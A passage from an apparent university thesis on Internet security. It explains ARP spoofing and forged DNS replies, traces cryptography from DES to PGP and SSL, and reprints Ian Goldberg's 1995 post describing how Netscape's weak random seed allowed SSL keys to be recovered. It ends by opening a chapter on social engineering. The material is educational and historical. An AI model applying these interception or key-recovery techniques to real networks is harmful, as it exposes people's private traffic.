temporarily cached by the operating system. This architecture implies that an intruder may place a host on the network, which will act as a data router, giving the hacker a transparent way to monitor all network traffic. An interception scenario may look like this (Fig 3.1, 3.2, 3.3): • • • The attacking host waits for an ARP request61 . Once the call is received, the attacking host replies62 to the call with its own Ethernet address. The attacking host now acts as a transparent link between other hosts and the original data router. 58 A computer that is connected to a TCP/IP network, including the Internet. Each host has a unique IP address. A device that forwards data packets along networks, typically a router will also act as a firewall between a Local Area Network and the Internet. All the traffic coming in from the LAN will eventually go through the router and end on one single connection to the Internet. The Router, in turn, will mark all incoming and outgoing data packets with corresponding internal IP and ethernet addresses. 60 A computer network that spans a relatively small area. Most LANs are confined to a single building or group of buildings. However, one LAN can be connected to other LANs over any distance via telephone lines and radio waves. Most LANs connect workstations and personal computers. Each node (individual computer) in a LAN has its own CPU with which it executes programs, but it also is able to access data and devices anywhere on the LAN. This means that many users can share devices, such as laser printers, as well as data. Users can also use the LAN to communicate with each other, by sending e-mail or engaging in chat sessions 61 See appendix 2 for a typical ARP call packet 62 See appendix 3 for a typical ARP call reply 59 - 34 - Internet Security // Kulikov Alexey @ University of Warwick Fig 3.1 Attacking Host waiting for an ARP call Fig 3.2 An ARP call is placed on the network and replied to by the attacking host - 35 - Internet Security // Kulikov Alexey @ University of Warwick Fig 3.3 Attacking host now monitors all traffic between the host that placed an ARP call and the traffic router. The above scheme can still be exploited nowadays, due to technological lock-in. Moreover, few system administrators are aware of the existence of ARP calls in their LANs, since this is a transparent process not needing any human interaction. However it must be pointed out that this type of attack will be successful only in a LAN, thus must only be considered as an “internal threat”. On the other hand, CERT reports that more than half of all recorded attacks on distributed systems were undertaken from Intranets by company’s employees. This is a logical fact, since employees/staff will always have a broader knowledge of the overall network architecture and its possible weaknesses. Good system administrators do not disregard the existence of this threat, even though it can be harmful only in a local area network. Domain Name Servers Hosts on the Internet can be accessed via a 32 bit IP address such as 192.121.083.012, which uniquely identifies every computer on the global network. However, human beings find it hard to remember these numbers, therefore they are rarely used directly. Back in the early seventies a naming scheme was introduced, which associated easy to remember names with IP addresses. It is clear that a name such as «warwick.ac.uk » is easier to use and remember than 137.205.192.13. The use of such names spawned a problem in associating names with IP addresses. This relationship is necessary, since data travels through the net based on IP addresses, rather than direct host names. In the mid seventies, when the Internet consisted of less than two hundred hosts the Network Information Center (NIC) introduced the use of a simple text file, where all associations could be found. This file was updated daily and sent to all hosts on the network. However, as the Internet grew, so has the overall number of connected hosts, thus the above scheme slowly became rather unpractical. Therefore a new scheme was developed, allowing a host, which did not have the relevant information about a name-to-IP association, to get it from the nearest Domain Name System (DNS). The DNS was equipped with its own communication protocol, the effectiveness of which is supported by the existence of a number of dedicated servers 63 serving as a search index to 63 A computer or device on a network that manages network resources. For example, a file server is a computer and storage device dedicated to storing files. Any user on the network can store files on the server. A print server is a computer that manages one or more printers, and a network server is a computer that manages network traffic . A database server is a computer system that processes database queries. Servers are often dedicated, meaning that they - 36 - Internet Security // Kulikov Alexey @ University of Warwick requesting hosts. On the Internet when a host is requesting some kind of response, such as a Web page from a remote server, usually it only has information about its name and not it s IP address. Therefore the host must search for the remote server’s IP address, this search is carried out by the nearest DNS server. The basic search algorithm is as follows: • • A host sends a request 64 to the nearest DNS server (either assigned automatically to the host by the network router or defined manually) with the name of the remote server for which an IP address needs to be found. The DNS server looks the IP up in its database. If it is found, it is sent to the requesting host as a DNS-reply65 . If not, then the DNS server sends a request to one of the root DNS servers, which are defined manually by the DNS server’s sysadmins. This procedure is repeated until the desired IP is found. It is quite obvious that DNS replies can be falsified, hence all the traffic will be routed to other destinations. On the other hand, one may question himself if it is possible to put a fake DNS server on the network. The possibility exists, however, in most cases DNS addresses are defined manually by the system’s administrators, therefore this scheme will be very ineffective. Let’s take a closer look at a scheme, which has been employed over the past years for traffic rerouting. Faking DNS replies. The basic idea behind this attack is sending a set of DNS replies as often as possible to the attacked host. Once the host requests some location, it will immediately receive as reply the IP of the attacking host, which will then act as a communication channel between the attacked host and the server requested in the first place. There are several criteria which have to be fulfilled by the DNS-reply such that it is accepted by the operating system at the attacked host. Firstly, the IP of the DNS must match the IP defined at the host (manageable). Secondly, the DNS-reply must be for the requested Internet location (also manageable). The set of diagrams below illustrates how this scheme operates. perform no other tasks besides their server tasks. On multiprocessing operating systems , however, a single computer can execute several programs at once. A server in this case could refer to the program that is managing resources rather than the entire computer. Every computer, acting as a server, is at the same time an Internet host, since it is allocated a unique IP address for remote access. 64 See Appendix 4 for a typical DNS request packet 65 See Appendix 5 for a typical DNS reply packet - 37 - Internet Security // Kulikov Alexey @ University of Warwick Fig 4.1 The attacking host is sending fake DNS-replies to HOST A at minimal intervals. Fig 4.2 Host A sends a DNS request for top.secret.com and immediately receives a fake DNS reply from the attacking host. Fig 4.3 Host A connects to the IP received in the fake DNS-reply. Clearly this will be the attacking host, which will pass all the traffic on to the original top.secret.com serve r. However all traffic will be monitored. This type of attack is possible thanks to weak implementation of the DNS mechanism in the early days of the Internet. Moreover, it is very effective and hardly traceable, since one can attack almost any host on the Internet with little possibility of being spotted. As Bell Labs researcher Steve M. Bellovin puts it is his almost classic paper 66 : “A combined attack on the domain system and the routing mechanisms can be catastrophic ”. 66 S. M. Bellovin. “Security Problems in the TCP/IP Suite”, ACM Computer Communications Review, 19(2), March 1989, Section 5.3, paragraph 3. - 38 - Internet Security // Kulikov Alexey @ University of Warwick Early Cryptography The story of cryptography goes back many ages, back as early as 5000 BC, when simple letter transposition was first applied in order to scramble basic messages passed between generals over the course of a battle. Simon Singh gives a rather clear overview of the early years of cryptography in his best selling book “The Code Book”, where he examines the intricate details of various ciphers invented over time, and provides a broad overview of decipherment techniques. In this book he reveals though thrilling stories of espiona ge, intrigue, intellectual brilliance and military cunning, the gripping history of cryptography. The real cryptographic challenge, however, only came along with the burst of the Internet, as vicious quantities of sensitive information started flowing over the network in the commercial world 67 . The information at that time was mostly financial data such as bank transactions. As it was made clear in the beginning of this chapter, network traffic is rather easy to intercept, hence a way for secure communication between two hosts needed to be established. Large companies developed “in-house” solutions, but, as a drawback they were then unable to communicate securely with the outside world, hence some kind of standard data encryption mechanism needed to be established. The International Business Machines (IBM) undertook its own research in the field of network data security and cryptography. Various universities in the USA, including MIT and Stanford, showed a lot of interest in this area of research, thus IBM recruited specialists from them. One of the reasons for IBM turning to university based research was the broad network of contacts between higher education institutions and the military, who, in turn, were the first consumers of these developments. Therefo re, university based specialists always had more practical experience with electronic cryptography in the real world, rather than professional mathematicians. The initial research team was lead by Horst Feistel, a german immigrant who had arrived in the States in 1934. He was a well known cryptography specialist 68 . Before being appointed to lead the research team at IBM, Feistel undertook research at Bell Labs in the field of data cryptography alongside with Claude Elwood Shannon, the mathematician who laid the foundation of modern information theory69 . IBM was not greedy on resources, even though it was clear from the very beginning, that it will take a reasonable amount of time before profits could be made. The research team was faced with a very tough cha llenge: to develop a standard secure cryptographic scheme to protect electronic information in storage systems and on computer networks. It must be admitted, that the results were way better than expected: it was in the IBM’s Thomas J. Watson Laboratory near New York where during the early 1970s the Lucifer 70 cipher was developed, which is one of the ground stones of modern cryptographic solutions. The details of Lucifer’s operation can be found in Singh’s book where he carefully analyses various approaches researched by Feistel and describes the Lucifer algorithm in detail. Lucifer was generally accepted as one of the strongest publicly available encryption mechanisms and consequently it was used by a variety of organizations. Hence it seemed inevitable for this system to be adopted as the American standard, but NSA interfered with Feistel’s work, as Lucifer was so strong that it offered virtually unbreakable protection, thus the NSA did not want to see such a product as a widely accepted encryption standard. If Lucifer were to become the encryption standard, then the NSA wanted to ensure that it would be able to break this 67 Before, cryptography was mostly employed by the military. Horst Feistel. “Cryptography and Computer Privacy”, Scientific American, May 1973, Vol. 228, No. 5, p. 15-23. 69 C. E. Shannon, “A mathematical theory of communication”, Bell System Technical Journal, vol. 27, p. 379-423 and 623-656, July and October, 1948. 70 Algorithm explanation can be found here: Simon Singh, The Code Book, The Science of Secrecy from Ancient Egypt to Quantum Cryptography, Fourth Estate Ltd. 1999, p 249 68 - 39 - Internet Security // Kulikov Alexey @ University of Warwick encryption via trying all possible keys 71 . Thus, the overall number of possible encryption keys should be limited to some practical figure. The NSA argued in favor of limiting the number of possible keys to roughly 100 000 000 000 000 000 (referred to as 56 bits). The NSA believed that such a scope of possible encryption keys would provide a good enough level of security in the commercial sector, whereas the NSA, having access to the greatest computing power in the world would be able to brute- force a key to decipher data in reasonable amount of time. On 23rd of November, 1976 Feinstel’s Lucifer was adopted by the NSA and was renamed to the Data Encryption Standard (DES). Later many more algorithms such as RC4 and Blowfish were developed based on this scheme and are generally referred to as “symmetric” because the sender and the receiver of data must share the same key. However this approach is not perfect. The problem lies in distributing the keys. For this system to work well, the sender and the receiver of data have to agree on a secret key before exchanging any secret messages. Assuming one needs pair wise security, the number of keys ne eded grows with the square of the number of users. Two people need one key, a ten user network will need 45 keys to allow every pair of users to communicate securely. Whereas a 100 user network will need 4950 different keys. Revolutionary changes took place in 1976 when Whitfield Diffie and Martin Hellman developed the first asymmetric public key cryptography algorithm, consequently they named this scheme DH (Diffie-Hellman) 72 . The main principle behind their algorithm was based on the usage of two different mathematically linked access keys. The scheme used one key to code the data, however the data could only be decoded with the second key (derived from the first key at creation time). Hence these two keys produced a “key pair”, where one would be used to lock the data, thus made publicly accessible (public key), and a second to read the data, therefore kept in a secure place (private key). This allowed any two people to communicate securely over the Internet. While this was a fundamental breakthrough in conceptual terms, it did not offer a ‘real world’ solution to the problem of key exchange, as no specific one-way function was selected / developed to fulfil the above strategy73 . However, in the August, 1977 issue of The Scientific American, Ronald L. Rivest, Adi Shamir and Leonard M. Adleman introduced to the world their RSA cipher, based on the original work of Diffe and Hellman. The basic idea behind this system is the fact, that two prime numbers are rather easy to multiply, yet factoring the result is a major computational task 74 . Consider a simple example of multiplying 71 and 5, this will yield a result of 355. Factoring out 355 will need at least 71 iterations in order to recover the two initial multipliers. Imagine factoring out numbers, which are 300-400 digits long, in fact, we could always use longer primes, as the largest known prime number is 225964951 - 1 (7,816,230) digits long. Alone the multiplication of such a large number with the nearest prime will stall any modern personal computer, as it will inevitably not have enough memory to handle such an advanced operation. Thus the recovery of plain text from the public key is believed to be beyond the capacity of any existing technique/computer combination. Based on the public key approach, a signature scheme was suggested. Digital signatures provide a level of authentication for messages, and in modern business, authentication is sometimes far more important than secrecy. In simple terms, a digital signature for some message will be the message itself encrypted with the sender’s private key. Therefore the receiver of the message can 71 In cryptography a key is a relatively small amount of information that is used by an algorithm (typically a phrase, a collection of characters or a number) to customize the transformation of plaintext into ciphertext (during encryption) or vice versa (during). Enciphering using the same algorithm and plaintext, but with a different key, will produce a quite different ciphertext, and similarly for decryption as well. If the decryption key is lost, encrypted data will not in practice be recoverable — at least for high quality encryption algorithms and large enough key sizes. 72 S. Singh, The Code Book , pp 252 - 268 73 S. Singh, The Code Book , pp 267, 271 74 Full algorithm explanation can be found in S. Singh, The Code Book , Appendix J. - 40 - Internet Security // Kulikov Alexey @ University of Warwick use the sender’s pub lic key to check whether the message signature is valid and whether the message was not altered while travelling over the net. Several digital signature algorithms are currently in use such as RSA and The United States government’s Digital Signature Standard (DSS). The public key scheme seemed to have solved the key sharing problem, however, people could still be tricked into revealing sensitive information by a scheme such as “the man in the middle”. Suppose that two individuals Alice and Bob wish to exc hange sensitive information. However, an eavesdropper (Eve) wants to get hold of that information. Hence Eve sends Bob a message, asking for his public key and pretending to be Alice. At the same time, Eve sends Alice her public key and pretends that it came from Bob. Simple, but effective. Now Alice will encrypt a message with Eve’s public key, thinking that Eve is Bob. Eve will receive the message, open it with her private key, read it, maybe modify it, encrypt it with Bob’s public key and send it to Bob. This scenario demonstrates that a security system, even as strong as public key encryption, can be manipulated to serve the needs of an attacker. After all, security is still about trust, and trust can be manipulated. Pretty Good Privacy From the two attack concepts described in the beginning of this chapter it is rather clear, that network traffic can be intercepted. Interestingly enough first public attempts to secure data traveling through the net were undertaken only in the early nineties. The primary objectives of such research were to produce a scheme for encrypting e- mail messages, which have represented a large proportion of network traffic. Eventually Philip R. Zimmermann, a cryptography engineer, proposed a public key based solution which was released as freeware in 1991 – Pretty Good Privacy (PGP) 75 . On the Internet, PGP uses a hybrid approach that employs both kinds of cryptography methodologies explained above. The main reason is performance76 . What the data sender really does, when he wants to send a message to someone, is to use a symmetric algorithm to encrypt the message with a random key that is created from thin air (called a session key). Then this random key is encrypted with the recipient’s public key and both the encrypted key and the encrypted message are sent to the recipient. The recipient uses his private key to decrypt the session key, which is then used to decrypt the message. This procedure is illustrated below (fig. 5.1, 5.2, 5.3). Fig 5.1 The data sender generates a random session key and uses it to encrypt data. This step uses the symmetric cryptography approach. 75 76 S. Singh, The Code Book, p 301 S. Singh. The Code Book . pp 298-300 - 41 - Internet Security // Kulikov Alexey @ University of Warwick Fig 5.2 The data sender downloads the public key from the data receiver. This public key is then used to encrypt the session key generated in previous step. Fig 5.3 Both the encrypted session key and the encrypted message are sent to the data receiver. The receiver will then use its private key to decrypt the session key. It will then use the session key to decrypt the data. This method is secure, since the private keys are never transmitted from host to host. Moreover, public keys on their own are rather useless to the attacker, since it is virtually impossible to derive the private key from the public key. The history of PGP is rather interesting. In 1991 there was a potential threat in the USA, that the congress would pass a law, forbidding common citizens to use cryptographic software. Hence, Philip R. Zimmermann made his own cryptographic suite (based on the RSA algorithm) publicly available as freeware 77 . This software product was the first professional release that incorporated one of the most stable cryptographic algorithms available at that time. From the very beginning PGP has fulfilled all prerequisites for a commercial security suite 78 : • • • • Usage of a trusted algorithm Usage of a long enough encryption/decryption key to eliminate the possibility of bruteforce attack succeeding in the near future Local generation and control of encryption/decryption keys, which eliminated the possibility of third parties intercepting the while transferred over the net “Open Source”79 code 77 S. Singh. The Code Book . P 302 B. Schneider, Secrets and Lies, pp 115 - 119 79 A certification standard issued by the Open Source Initiative (OSI) that indicates that the source code of a computer program is made available free of charge to the general public. The rationale for this movement is that a larger group of programmers not concerned with proprietary ownership or financial gain will produce a more useful and bug-free product for everyone to use. The concept relies on peer review to find and eliminate bugs in the program code, a process which commercially developed and packaged programs do not utilize. Programmers on the Internet read, redistribute and modify the source code, forcing an expedient evolution of the product. The process of eliminating bugs and improving the software happens at a much quicker rate than through the traditional development channels of commercial software as the information is shared throughout the open source community and does not originate and channel through a corporation's research and development cogs. 78 - 42 - Internet Security // Kulikov Alexey @ University of Warwick PGP was disseminated not only in the United States, but all over the world. Rumours about FBI interpreting publication of cryptographic software on the net as unauthorized export of weapons has created an aura of “illegality”, which in turn has acted as a catalyst for PGP’s popularity. Later Philip R. Zimmerman wrote: “In 1991, Senate Bill 266 included a non-binding resolution, which if it had become real law, would have forced manufacturers of secure communications equipment to insert special "trap doors" in their products, so that the government could read anyone's encrypted messages. Before that measure was defeated, I wrote and released Pretty Good Privacy. I did it because I wanted cryptography to be made available to the American public before it became illegal to use it. I gave it away for free so that it would achieve wide dispersal, to inoculate the body politic”80 The PGP software package was immediately adopted by most e- mail programs which made public key based communication a standard. Unexpectedly, at the end 1991, Philip R. Zimmermann was accused of illegal export of PGP to countries outside of the states. The criminal investigation lasted for over three years, after which all Zimmermann’s actions were justified. The creator of PGP went on and founded a company “PGP Inc.”, which later was acquired by Network Associates. During the investigation, Zimmermann came up with a floutingly law abiding solution for exporting PGP updates to Europe. He simply published all source code in books, which, in any form, are open for export to any country in the world. Of course there were many volunteers, many lead by Stale Schumacher from the University of Oslo, wishing to help compile and spread new version of PGP. Such publicity prove PGP’s stability and increased the overall trust for the product. The appearance of PGP in the first half of the nineties was a public saviour not only for private Internet users, but also for commercial players and financ ial institutions. Moreover, as PGP source codes were freely available for inspection it became some sort of manual in modern cryptography. Openness always was an essential component of any cryptographic solution, since it allowed people world-wide to test and experiment with the quality of the code. This is the main reason why new solutions are usually rarely trusted 81 , it takes years before a scheme is accepted, and PGP uses an almost twenty year old algorithm. Secure Socket Layer Monitoring Web traffic is not a challenging task, hence, someone entering credit card details in a Web shop or someone submitting a PIN to access online banking is at risk. As a result, one of the more recent security mechanisms on the Internet is Secure Socket Layer (SSL), developed by Netscape for the first version of its commercial Web browser Netscape Navigator back in December of 1994. The idea behind SSL is based around public key security, where the Web browser and the server use public-key cryptography to exchange a key and then symmetric cryptography to encrypt the data going back and forth. The first version of the Netscape browser in the United States used a 128 bit key, yet all copies of the browser shipped abroad were only capable of handling 40 bit keys due to restrictions placed by the American government. 80 Testimony of Philip R. Zimmermann to the Subcommittee on Science, Technology, and Space of the US Senate Committee on Commerce, Science, and Transportation, 26 June 1996 -http://www.philzimmermann.com/testimony.shtml 81 B. Schneider, Secrets And Lies, pp. 115-119 - 43 - Internet Security // Kulikov Alexey @ University of Warwick How safe is SSL? There is an old saying, that a chain is only as strong as its weakest link. There were various attempts in decrypting SSL messages via a brute force attack 82 , however none of the initial developers of SSL at Netscape thought of using alternative approaches. On September the 17th 1995 Ian Goldberg and David Wagner, graduates of the University of California in Berkeley, published their SSL decryption procedure, which could open any message in less than a minute 83 . This was a big breakthrough in code cracking, after all, it was no brute force attack but a real exploit of a weakness found in SSL. So how did they do it? On one side, a 128-bit key is a an immense set of values, which, even if using a super-computer, one will not be able to bruteforce in a reasonable amount of time. Even if one could try up to ten million key combinations per second it will take hundreds of years before a valid key is found. However, this calculation is based on the assumption, that the key has maximum entropy84 . The effectiveness of the 128-bit key is far less than 128 bits in case it has low entropy. Imagine someone selecting a 128-bit key from a set of two characters. This will make the overall number of possible key values quite limited, and for sure way less than 128 bits. The problem with Netscape’s SSL algorithm was that it selected random keys, which, in practice were by far not random85 . Actually it must be pointed out, that computers are incapable of generating random number 86 , thus programmers have always found elegant solutions to simulate randomness – some more secure than the others. Netscape has picked a very insecure method, where “random” keys were generated based on predictable values such as the internal clock and the process id. Goldberg and Wagner have thoroughly analyzed this procedure and managed to reduce the overall set of possible 40 bit keys to the bare minimum, which could be applied “in little less than 25 seconds”87 to break the encoded message. Shortly after the publication of this exploit, Netscape released the second version of its browser with SSL 2, which had a more “random” key generator. Conclusion Secrecy does not imply protection. The fact that data traveling over the net is encrypted does not mean it is 100% safe. Whenever one sends encrypted data to someone over the net, this implies that he/she trusts the recipient. Security is all about trust. Even with SSL, whenever one submits data to a secure Website, this implies that one trusts the Website to store his/her data efficiently. Moreover, the receiver may be someone one does not want to trust, and establishing a secure communication channel does not raise the level of protection of information. Public keys are best verified over the phone or in person, in order to avoid the problem of “the man in the middle”, however, nothing is more secure than passing the data to someone in person. I doubt that all Internet traffic will be encrypted in the future, since this action will make a lot of existing connections obsolete: routers will not be able to direct packets efficiently; firewalls will not know if traffic entering a secure LAN is harmful or not. The Internet has to be rebuild from the ground- up in order to escape from this technological lock- in, otherwise we will always have security through obscurity i.e. using insecure technology to build secure communication. 82 Basically trying every possible key one after the other. Assuming a long enough key is used such as a 128 bit key, this process, if done on a single machine, will take decades to accomplish. However, the computing effort can be distributed over several systems. The CERT reports 40 bit keys being “brocken” in less than a couple of hours. 83 Find the original e-mail posted by Ian Goldberg to the “cypherpunks” mailing list in the appendix. Source: http://seclists.org/lists/bugtraq/1995/Sep/0064.html. 84 Entropy is a measure of disorder – the more uncertain something is, the more entropy in that thing. For example, a human being is either male or female, this makes the variable gender have an entropy of 2. 85 Ian Goldberg, David Wagner, “Randomness and the Netscape Browser”, Dr. Dobb’s Journal, January 1996 -http://www.ddj.com/documents/s=965/ddj9601h/9601h.htm 86 B. Schneider, Secrets And Lies, pp. 98-99; In fact PGP, for example, asks the user to produce random inputs when generating a new key-pair. These include movements of the mouse and pressing of keys on the keyboard. These, in turn, are combined with various parameters read from the system’s hardware. 87 Original e-mail posted by Ian Goldberg to the “cypherpunks” mailing list - 44 - Internet Security // Kulikov Alexey @ University of Warwick Chapter Summary • • • • • • • • • • • • • • The communication channel between two hosts is a potential security weakness, as one can intercept the dataflow. Communication protocols between hosts were designed with no security in mind. We are still using thirty year old technology nowadays, as these protocols are the ground stones of the modern World Wide Web. Intranets are particularly vulnerable to data sniffing, as any machine on some LAN can pretend to be a local ARP server, and hence, hijack all the traffic between a selected machine and the rest of the world. The WWW is based around Domain Name Servers which map domain names to IP addresses. One can easily pretend to be a valid DNS server and return fake IP destinations for some host’s traffic. These weaknesses were implemented into the Internet over thirty years ago and cannot be eliminated. A viable solution is data encryption. Cryptography goes back many thousands of years. More recent solutions were introduced by Hoerst Feistel. His research gave birth to the currently world-accepted encryption standard “DES”. DES still does not solve the problem of secure data communication over the Internet, as one needs to distribute the encryption key without interference. Public key cryptography was discovered in 1976 and later patented as the RSA encryption standard. It seemed to solve the problem of key distribution. In the early nineties, Phil Zimmerman released an OpenSource implementation of RSA’s algorithm, known today as PGP, which is de facto standard in communication today. Web browsers implemented public key cryptography since 1995, known as SSL today. Today, data channels can be safe, however, there still remains the problem of trust, as one does not know for sure, with whom a secure connection is being established. - 45 - Internet Security // Kulikov Alexey @ University of Warwick Appendix 1 Original e- mail posted by Ian Goldberg to the “cypherpunks” mailing list explaining how to crack SSL. > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > From owner-cypherpunks_at_toad.com Sun Sep 17 21:38:21 1995 From: Ian Goldberg <iang_at_CS.Berkeley.EDU> Message-Id: <199509180441.VAA16683_at_lagos.CS.Berkeley.EDU> Subject: Netscape SSL implementation cracked! To: cypherpunks_at_toad.com Date: Sun, 17 Sep 1995 21:41:01 -0700 (PDT) X-Mailer: ELM [version 2.4 PL23] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 4098 Sender: owner-cypherpunks_at_toad.com Precedence: bulk As some of you may recall, a few weeks ago I posted a reverse-compilation of the random number generation routine used by netscape to choose challenge data and encryption keys. Recently, one of my officemates (David Wagner <daw_at_cs.berkeley.edu>) and I (Ian Goldberg <iang_at_cs.berkeley.edu>) finished the job of seeing exactly how the encryption keys are picked. What we discovered is that, at least on the systems we checked (Solaris and HP-UX), the seed value for the RNG was fairly trivial to guess by someone with an account on the machine running netscape (so much so that in this situation, it usually takes less than 1 minute to find the key), and not too hard for people without accounts, either. See below for details. I've included the header to a program we wrote to do this key-cracking below. I would like to get some information, though: o Where should I put the full source (1 file, ~12k) so that ITAR lovers don't get mad at me? o Where can I find a version of netscape that does RC4-128? It is likely that it suffers from the same problem, and even a brute-force search of the entire seed space is _much_ less than 128 bits. Happy hacking, - Ian "who just saw _Hackers_ today with some other Bay Area cypherpunks, and it put me in the mood" /* unssl.c - Last update: 950917 Break netscape's shoddy implementation of SSL on some platforms (tested for netscape running RC4-40 on Solaris and HP-UX; other Unices are probably similar; other crypt methods are unknown, but it is likely that RC4-128 will have the same problems). The idea is this: netscape seeds the random number generator it uses to produce challenge-data and master keys with a combination of the time in seconds and microseconds, the pid and the ppid. Of these, only the microseconds is hard to determine by someone who (a) can watch your packets on the network and (b) has access to any account on the system running netscape. Even if (b) is not satisfied, the time can often be obtained from the time or daytime network daemons; an approximation to the pid can sometimes be obtained from a mail daemon (the pid is part of most Message-ID's); the ppid will usually be not much smaller than the pid, - 46 - Internet Security // Kulikov Alexey @ University of Warwick > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > and has an higher than average chance of being 1. Clever guessing of these values will in all likelihood cut the expected search space down to less than brute-forcing a 40-bit key, and certainly is less than brute-forcing a 128-bit key. Subsequent https: connections after the first (even to different hosts) seem to _not_ reseed the RNG. This makes things much easier, once you've broken the first message. Just keep generating 16 bytes of random numbers until you get the challenge-data for the next message. The next key will then be the 16 random bytes after that. main() and bits of MD5Transform1 by Ian Goldberg <iang_at_cs.berkeley.edu> and David Wagner <daw_at_cs.berkeley.edu>. The rest is taken from the standard MD5 code; see below. This code seems to want to run on a big-endian machine. There may be other problems as well. This code is provided as-is; if it causes you to lose your data, sleep, civil liberties, or SO, that's your problem. #include <std/disclaimer.h> On the command line, give the time in seconds, the pid, the ppid and the SSL challenge data (each byte in hex, separated by some non-hex character like a colon) of the _first_ SSL message generated by the instance of netscape. This program will search through the microsecond values. You may need to run it again with a slightly different value for the seconds, depending on how accurately you know the time on the system running netscape. The output will be the master key (all 16 bytes; note you never even told the program the 11 bytes you knew) and the value for the microseconds that produced it. As a benchmark, this code runs in just under 25 seconds real time (for an unsuccessful search through 1<<20 values for the microseconds) on an unloaded HP 712/80. */ - 47 - Internet Security // Kulikov Alexey @ University of Warwick Appendix 2 A typical ARP request packet. This packet has been captures in the Department of Computer Science at the University of Warwick with the aid of a simple network traffic analyzer. - 48 - Internet Security // Kulikov Alexey @ University of Warwick Appendix 3 A typical ARP reply packet, as sent by the router to the requesting host. However, as one can see from the listing below, all the hosts on the LAN could monitor this reply. - 49 - Internet Security // Kulikov Alexey @ University of Warwick Appendix 4 This is a typical DNS request packet, as composed as sent by a local machine for the domain www.essentialmind.com - 50 - Internet Security // Kulikov Alexey @ University of Warwick Appendix 5 And this is a typical DNS reply, as received by the local machine for its query from the DNS server. - 51 - Internet Security // Kulikov Alexey @ University of Warwick Chapter 4 - 52 - Internet Security // Kulikov Alexey @ University of Warwick Chapter 4 — Attacking the People // Human Factor IT specialists have developed information-security solutions to minimize the risks connected with the use of computers, yet left unaddressed was the most significant vulnerability — the human factor. Humans remain the most serious threat to each other’s security. There is a popular computer saying that a secure computer is one that is switched off, but this is misleading. A “Social Engineer” can simply talk someone into going into the office and switching the computer on. A company may be able to purchase the best security technology available, it can hire door guards from the best firm in the business, or establish unique security schemes based around employees’ biorhythmic data or time based tokens. Yet information — the main asset of this company, is still totally vulnerable. The weakest link in the company’s security chain remain the people, who operate the electronic systems 88 . It is in many cases much easier to simply ask someone for their access details, rather than undertake a “low level” hardware attack. This technique of convincing people into giving away their passwords and other sensitive data is what is known as Social Engineering (SE). The first part of this chapter will define various SE methodologies and examine the reasons for their effectiveness. Next, it will focus on the evolution of SE in relevance to Internet Security. This will be illustrated with a short story of the world’s most famous Social Engineer – Kevin Mitnick, who managed to break into virtually every US network. Finally, this chapter will conclude with various approaches to combating SE. Please note, that other aspects of people related security problems are investigated in chapter 2 (section on weak passwords) and in chapter 7. Yet in my perspective SE remains the most powerful tool to compromise the security of some LAN/Server with other human-related mistakes only aiding successful Social Engineers in carrying out successful attacks. What is Social Engineering? Social Engineering (SE) was in existence for centuries, yet only recently was it applied to gain unauthorized access to network servers. Security experts working in this field ended up with a general definition: “the art and science of getting people to comply to your wishes”89 . Whereas Ryburn Paul at the University of Memphis defines SE as: “an outside hacker’s use of psychological tricks on legitimate users of a computer system, in order to obtain information he needs to gain access to the system ”90 ; While the hacker's91 jargon dictionary92 defines Social Engineering as: “Term used among crackers and samurai for cracking techniques that rely on weaknesses in wetware93 rather than software; the aim is to trick people into revealing passwords or other information that compromises a target system's security[…].” Social engineering can be any of these definitions, depending on the situation. Generally it can be defined as the process by which a hacker deceives others into disclosing valuable data that 88 Mitnick Kevin: “The Art of Deception”, Wiley Publishing Inc. 2002, page 4 http://packetstormsecurity.nl/docs/social-engineering/socialen.txt 90 Ryburn, Paul. COMP 1200, University of Memphis, January 1997. http://www.msci.memphis.edu/%7Eryburnp/cl/glossary.html#social_engineering (26 July, 2000). 91 The term “hacker” has many definitions. Originally it meant any type of computer expert. The meaning of the term, when used in a computer context, has changed somewhat over the decades since it first came into use, as it has been given additional and clashing meanings by new users of the word. Currently, "hacker" is used in two main ways, one complimentary and one pejorative. In popular usage and in the media, it generally describes computer intruders or criminals. The term “hacker” can also be used in the computing community to describe a particularly brilliant programmer or technical expert (for example: “Linus Torvalds, the creator of Linux, is a genius hacker.”). Over the course of this thesis, the term “hacker” is used in its more popular form, referring to computer intruders or criminals. 92 The hacker's jargon dictionary @ http://info.astrian.net/jargon/ 93 Human beings (programmers, operators, administrators) attached to a computer system, as opposed to the system's hardware or software 89 - 53 - Internet Security // Kulikov Alexey @ University of Warwick will benefit him/her in some way. Hackers have originally used SE to obtain codes or e- mail passwords for access to long-distance telephone lines or computers 94 95 , more recent reports indicate that SE attacks can be, and are, used, to acquire credit card numbers and other sensitive data. For instance, in the Autumn of 2001 some CompuServe subscribers, who had just recently set up trial accounts with CompuServe after providing credit card or bank account information, were contacted a few days later by e- mail. The e- mail, which purported to be from a CompuServe account manager, stated that there were unspecified “problems with your account” and asked the subscriber to resubmit his log-on password and bank or credit card data. What was noteworthy about this attempt was the fact that it was directed only at new subscribers, who would be less likely to know that they should not respond to the e- mail 96 . Another situation involved Yahoo e- mail users who reportedly received e- mails from a person who falsely identified himself as a Yahoo employee. The “employee” told each recipient that he had won a 56K modem from Yahoo, but that he would have to supply his name, address, telephone number, and credit card number to pay for shipping. A number of recipients did so before Yahoo learned of the falsified e- mail and contacted everyone who had responded to it 97 . Smart crackers prefer not to break into computer systems. According to a speech given by an experienced hacker, Susan Thunder's – “Social Engineering and Psychological Subversion” at DEFCON III 98 in Las Vegas in August 1999, these hackers prefer to use social engineering to get users to open the door for them. Thunder made an observation, which all LAN managers should take very seriously: “Increased security measures make psychological attacks easier because users think that their data is safe.” All the locks in the world will not save you from the thief you invite in. “The basic goals of social engineering are the same as hacking in general: to gain unauthorized access to systems or information in order to commit fraud, network intrusion, industrial espionage, identity theft, or simply to disrupt the system or network. Typical targets include telephone companies and answering services, big-name corporations, financial institutions, military and government agencies”99 . SE is a very powerful, simple and in many cases legal technique for obtaining classified information. In Kevin Mitnik’s milestone work ‘The Art of Deception, he explains: “As developers invent continually better security technologies, making it increasingly difficult to exploit technical vulnerabilities, attackers will turn more and more to exploiting the human element. Cracking the human firewall is often easy, requires no investment beyond the cost of a phone call [an e-mail or an IRC chat], and involves minimal risk”100 . In fact, Mitnick could not be put to jail for over a year, since the US legal system did not foresee the use of Social Engineering as anything illegal, after all, the employees simply gave out access data to Kevin. Finding revealing, real- life examples of social engineering attacks 